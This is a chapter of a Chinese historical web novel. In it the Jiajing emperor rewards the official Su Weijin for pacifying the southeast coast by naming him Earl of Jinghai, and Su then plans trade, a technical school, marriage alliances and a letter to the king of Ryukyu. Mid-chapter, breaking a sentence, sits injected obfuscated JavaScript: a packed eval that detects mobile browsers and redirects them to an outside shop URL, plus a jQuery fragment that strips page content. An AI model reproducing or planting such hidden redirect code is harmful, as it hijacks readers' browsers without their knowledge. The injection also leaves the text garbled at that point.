默认冷灰
24号文字
方正启体

第379章 捷报传京师,帝悦晋瑾爵

作者:毒酒飘香本书字数:K更新时间:
    嘉靖十二年的秋天,京城比往年热闹。


    八月初八,东南的捷报六百里加急送进紫禁城时,嘉靖帝正在西苑玉熙宫打坐。鹤童捧着铜盘,里头盛着新炼的“清心丹”——自苏惟瑾离京后,这丹药便由太医院按方制作,虽不及苏惟瑾亲手调配的精纯,但确实让皇帝的精神好了不少。


    “陛下,福建捷报!”司礼监掌印太监黄锦捧着奏本,脚步轻快地进来。


    嘉靖缓缓睁眼,接过奏本。展开一看,是苏惟瑾亲笔所书,字迹刚劲有力:


    “臣惟瑾谨奏:自四月督师东南,历时五月,破双屿倭巢,擒贼首陈瞎子;败红毛夷船于东矶水道,俘其首费尔南多;肃清月港,整顿市舶,重建海防。今东南沿海倭患渐平,商路复通,百姓安业。谨将战果详列于后……”


    后面附了长长一串清单:斩获倭寇首级若干,俘获夷商若干,缴获火炮**若干,抄没赃银赃物若干。桩桩件件,实实在在。


    嘉靖看着看着,嘴角慢慢弯了起来。


    他这两年服“清心丹”,体内毒素渐消,神智清明许多。虽然依旧信道求仙,但至少不再像前些年那样浑浑噩噩。此刻看着这捷报,心里明镜似的——苏惟瑾这小子,是真能办事。


    “好,好!”嘉靖连说两个好字,将奏本递给黄锦,“念给朕听听。”


    黄锦清了清嗓子,高声诵读。


    声音在玉熙宫里回荡,那些斩获数字、缴获清单,听得侍立的太监宫女们心头直跳。乖乖,这才五个月,就办了这么大一件事!


    “传旨,”嘉靖待黄锦念完,缓缓起身,“明日早朝,议东南之功。”


    翌日,文华殿。


    文武百官分列两侧,个个神色肃穆。严嵩站在文官首位,眼皮耷拉着,看不出表情。他身后的党羽们则交头接耳,窃窃私语——他们都得了消息,知道今天要议什么。


    “有本奏来,无本退朝——”黄锦拉长声音。


    兵部尚书张瓒第一个出列:“陛下,臣有本奏。东南督师苏惟瑾报捷,五个月内平定倭乱,整饬海防,功在社稷。臣请按功行赏,以励将士。”


    话音刚落,严党里就有人跳出来了。


    都察院右副都御史刘瑾(此刘瑾非正德朝大太监,同名而已)出列道:“陛下,臣以为不妥。苏惟瑾虽有小功,然擅启边衅,与红毛夷交战,恐招致外患。且其在东南大肆抄家,株连过广,有失仁政。”


    “刘大人此言差矣。”礼部尚书夏言冷笑,“倭寇劫掠沿海多年,红毛夷武装走私,皆是大明之患。苏惟瑾奉旨剿倭,何来‘擅启边衅’?至于抄家——勾结倭寇、祸乱国家,难道不该严惩?”


    “可他也太狠了些!”另一个严党官员道,“月港林家、王家、郑家,都是地方望族,他说抄就抄,说杀就杀,这不是寒了东南士绅的心吗?”


    “寒心?”夏言转身,直视那人,“那些士绅勾结倭寇时,可想过寒了百姓的心?倭寇劫掠时,他们分赃;官军剿倭时,他们报信——这等士绅,不该杀?”


    殿内吵成一片。


    严嵩始终没说话。他眯着眼,心里快速盘算。苏惟瑾的功劳是实打实的,硬驳肯定不行。但也不能让他太得意……


    “够了。”嘉靖终于开口。


    殿内瞬间安静。


    嘉靖扫视群臣,缓缓道:“苏惟瑾之功,朕看了。五个月,平倭乱,整海防,通商路——诸卿谁做得到?”


    无人应答。


    “既然无人能做到,”嘉靖声音提高,“那他的功劳,就是实实在在的。至于有人说他‘狠’——”


    他顿了顿,冷笑:“对敌人仁慈,就是对自己残忍。倭寇杀我百姓时,可曾手软?红毛夷炮击我船时,可曾留情?苏惟瑾若不够狠,今日东南还是一片糜烂!”


    这话说得重,严党诸人脸色发白。


    严嵩知道,皇帝这是铁了心要赏了。他上前一步,躬身道:“陛下圣明。苏大人之功,确该重赏。只是……赏格该如何定,还需斟酌。”


    “严阁老觉得该如何赏?”嘉靖问。


    “苏大人已是内阁首辅,加官已无可加。”严嵩捻须道,“不如厚赐金银田宅,以示恩宠。”


    “金银田宅?”嘉靖笑了,“严阁老,苏惟瑾在东南抄没的赃银,就不止百万两。朕再赐他十万八万,他看得上吗?”


    严嵩语塞。


    嘉靖站起身,朗声道:“传旨:苏惟瑾督师东南,不足半载便平定倭乱,整饬海防,功在社稷!加封太子太保,晋爵——靖海伯!”


    “靖海伯”三字一出,满殿哗然。


    大明开国以来,文臣封爵者寥寥无几。且多是追封,或是因特殊功勋(如王阳明封新建伯)。苏惟瑾以现任首辅之身,因军功封伯,这是天大的荣宠!


    “陛下!”刘瑾急道,“文臣封爵,有违祖制……”


    “祖制?”嘉靖看他一眼,“太祖高皇帝时,刘伯温是什么爵位?”


    刘瑾哑口无言。刘伯温封诚意伯,正是文臣封爵的先例。


    “此事已决。”嘉靖一摆手,“拟旨吧。另,赐丹书铁券,**罔替。”


    这下连严嵩都惊了。


    丹书铁券,**罔替——这是要把“靖海伯”变成与国同休的爵位啊!


    圣旨传到福建时,已是九月下旬。


    月港新建的船厂里,苏惟瑾正在视察。这船厂占地百亩,沿江而建,分作三区:东区造战船,西区造商船,中区是工匠住所和学堂。眼下有十几艘船同时在造,锯木声、打铁声、号子声,响成一片。


    “大人,这艘就是按新图纸造的‘福船’。”负责船厂的老师傅姓郑,是个老船工,此刻指着船坞里一艘骨架已成的大船,“船底加宽,吃水深,稳;船身用硬木,耐撞;帆也改了,能吃八面风。”


    苏惟瑾点头:“多久能下水?”


    “再有一个月。”郑师傅道,“下水后装上火炮,就是咱们水师新的旗舰!”


    正说着,外面传来急促的马蹄声。


    周大山快步进来,脸上又是喜又是急:“大人,京城来旨了!传旨的公公已到港,让您去接旨呢!”


    苏惟瑾擦擦手上的木屑:“走。”


    码头上,传旨太监已设好香案。周围聚满了人——月港的官员、士绅、商人、百姓,都想看看这钦差大人又要得什么赏。


    苏惟瑾到了,跪接圣旨。


    太监展开黄绢,尖声诵读。当念到“晋爵靖海伯,赐丹书铁券,**罔替”时,周围响起一片倒吸冷气的声音。


    封伯了!


    文臣封伯,还是世爵!


    旨意念完,苏惟瑾叩首:“臣,领旨谢恩。”


    他神色平静,看不出多少喜色。倒是周大山、苏惟虎、苏惟山这些亲信,个个喜形于色。苏惟虎捅捅周大山,低声道:“大山哥,咱大人封伯了!靖海伯!听着就威风!”


    周大山咧嘴笑:“那是!大人是什么人?封伯还不是应该的!”


    传旨太监将圣旨和丹书铁券交给苏惟瑾,又凑近低声道:“伯爷,陛下还有口谕:东南初定,百废待兴,卿可暂留坐镇,待海防稳固,再回京复命。”


    苏惟瑾点头:“臣遵旨。”


    他明白嘉靖的意思——京城现在暗流汹涌,严党正盯着他。不如留在东南,把这里经营成自己的根基。


    接旨当晚,苏府(暂住的宅子)设了简单的宴席。


    周大山、苏惟虎、苏惟山、鹤岑、胡三都来了,还有月港新提拔的几个官员。酒过三巡,气氛热烈。


    “大人,你现在是靖海伯了,”苏惟虎举杯,“咱们苏家,也出爵爷了!”


    苏惟瑾笑笑,抿了口酒。他今年才二十五岁,比苏惟虎还小两岁,可这些年历练下来,气质沉稳得像个中年人。


    “爵位是虚名,”他放下酒杯,“关键是东南这块地盘,得牢牢抓在手里。”


    周大山挠头:“大人,您已经是钦差,现在又是靖海伯,东南还有谁敢不听您的?”


    “明面上不敢,暗地里呢?”苏惟瑾道,“严党在京城虎视眈眈,陈瞎子背后的黑巫师首领还在琉球。东南这些士绅,表面顺从,心里怎么想?咱们得把根扎深。”


    他看向众人:“接下来三件事,得抓紧办。”


    “第一,‘云裳阁’的总部,从南京迁到月港。依托港口,大力发展海外贸易。生丝、瓷器、茶叶,卖到南洋、日本;换回白银、香料、珍稀木材。这条商路,必须掌握在咱们手里。”


    苏惟虎眼睛一亮:“这个好!有了钱,什么事都好办!”


    “第二,在月港设‘格物学堂’。”苏惟瑾继续道,“招募工匠子弟,传授改良的造船、火器、纺织技术。咱们不能总靠我一个人出点子,得培养一批懂技术的人才。”


    鹤岑捻须道:“伯爷高见。技艺传承,方能生生不息。”


    “第三,”苏惟瑾顿了顿,“与当地士绅联姻。”


    这话一出,众人都愣了。


    苏惟虎小心道:“大人,您已经有五位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042678|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夫人了,这再纳妾……”


    “不是我要纳。”苏惟瑾摇头,“是你们。”


    他看向苏惟虎:“你今年也二十七了,该成家了。月港林家有个女儿,今年十八,读过书,懂账目。我打听过,人品不错。”


    又看向苏惟山:“郑家有个侄女,十九,父亲是海商,常跑南洋。你娶了她,对咱们水师了解外海情况有帮助。”


    最后看向周大山:“大山,你也有份。王家……”


    “大人!”周大山急得站起来,“俺有媳妇了!婉妹还在京城等着俺呢!”


    苏惟瑾笑了:“没让你休妻再娶。是纳妾——东南这边,总得有个知根知底的姻亲。王家女儿是庶出,性子温和,给你做妾,不委屈婉妹。”


    周大山这才坐下,嘟囔道:“那也得婉妹同意……”


    “我会写信跟她说。”苏惟瑾道,“这些都是权宜之计。咱们要在东南扎根,光靠刀枪不行,还得靠姻亲、靠利益、靠人情。”


    他举起酒杯:“东南富庶,远离京城**漩涡,正是休养生息、积蓄力量的好地方。将来无论是应对朝中变故,还是——”


    他望向东方,那里是茫茫大海:“开拓海外,这里都是起点。”


    众人举杯,一饮而尽。


    宴席散后,苏惟瑾独自在书房写信。


    一封给京城的妻妾们,报平安,说封爵的事,也委婉提了联姻的安排。他知道芸娘通情达理,文萱识大体,雪茹豪爽,香君通透,清晏明理——她们会理解的。


    一封给费宏,询问京城动向。严党最近有什么动作?皇帝身体如何?朝中还有谁可用?


    最后一封,他斟酌了很久。


    是给琉球中山王的。


    琉球是大明属国,每年来朝贡。中山王尚真,今年该六十多了,在位四十余年,是个老成持重的君主。但据陈瞎子供述,黑巫师首领嵬名承天就在琉球,还渗透了琉球王室。


    这封信怎么写,很有讲究。不能直接说“你国里有逆贼,交出来”,那太打脸。得委婉,得给中山王留面子,但又得让他知道,大明已经掌握了情况。


    苏惟瑾提笔,先用漂亮的楷书写了问候,然后笔锋一转:


    “……近闻海上有奸人,假托前朝遗族,行蛊惑人心、炼制邪药之事,为祸沿海。其人名嵬名承天,或潜匿贵国境内。中山王素来忠义,必不容此等宵小藏污纳垢。若有所察,望通报天朝,共剿奸邪,以安海疆……”


    写完后,他封好信,叫来胡三。


    “三爷,这封信,走海路送到琉球。要快,要稳妥。”


    胡三接过信:“公子放心,俺有路子。”


    他走到门口,又回头:“对了公子,彭爷那边又来信了。”


    “怎么说?”


    “嵬名承天还在琉球,最近和日本萨摩藩的人来往密切。萨摩藩主岛津贵久,是个野心勃勃的主,一直想吞并琉球。彭爷说,他们可能在谋划大事。”


    苏惟瑾眼神一凛。


    萨摩藩,日本九州最强的藩国之一,向来对琉球虎视眈眈。历史上,就是在嘉靖年间,萨摩藩入侵琉球,将其变为附庸。


    如果嵬名承天和萨摩藩勾结,那就不只是黑巫师的问题了——这是要引外敌入侵属国!


    “告诉彭友信,”苏惟瑾沉声道,“继续盯着。有任何动静,立刻报我。”


    胡三点头,匆匆离去。


    书房里,烛火跳动。


    苏惟瑾走到窗边,望着窗外的夜空。九月海风,带着凉意。


    靖海伯……这个爵位,是荣耀,也是责任。


    东南的海,暂时平静了。但东边的琉球,北边的朝鲜,更远的日本、南洋……这片大海,从来不会真正平静。


    而他苏惟瑾,既然封了“靖海伯”,就得担起靖海安疆的担子。


    “路还长啊。”他喃喃自语。


    窗外,一轮明月升上中天,清辉洒满海面。远处船厂的灯火还亮着,隐隐传来工匠夜作的声响。


    这东南的基业,才刚刚开始。


    苏惟瑾封爵靖海伯,东南基业初成。


    但琉球传来密报,黑巫师首领嵬名承天与日本萨摩藩勾结,野心昭然若揭。


    而京城之中,严党对苏惟瑾的忌惮与日俱增,绝不会坐视他在东南坐大。


    两线危机悄然逼近,苏惟瑾要如何应对?


    是跨海远征琉球,先发制人?


    还是回京稳住朝局,巩固权位?


    抑或……另有更深的谋划?


    东海的风云,再起波澜。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)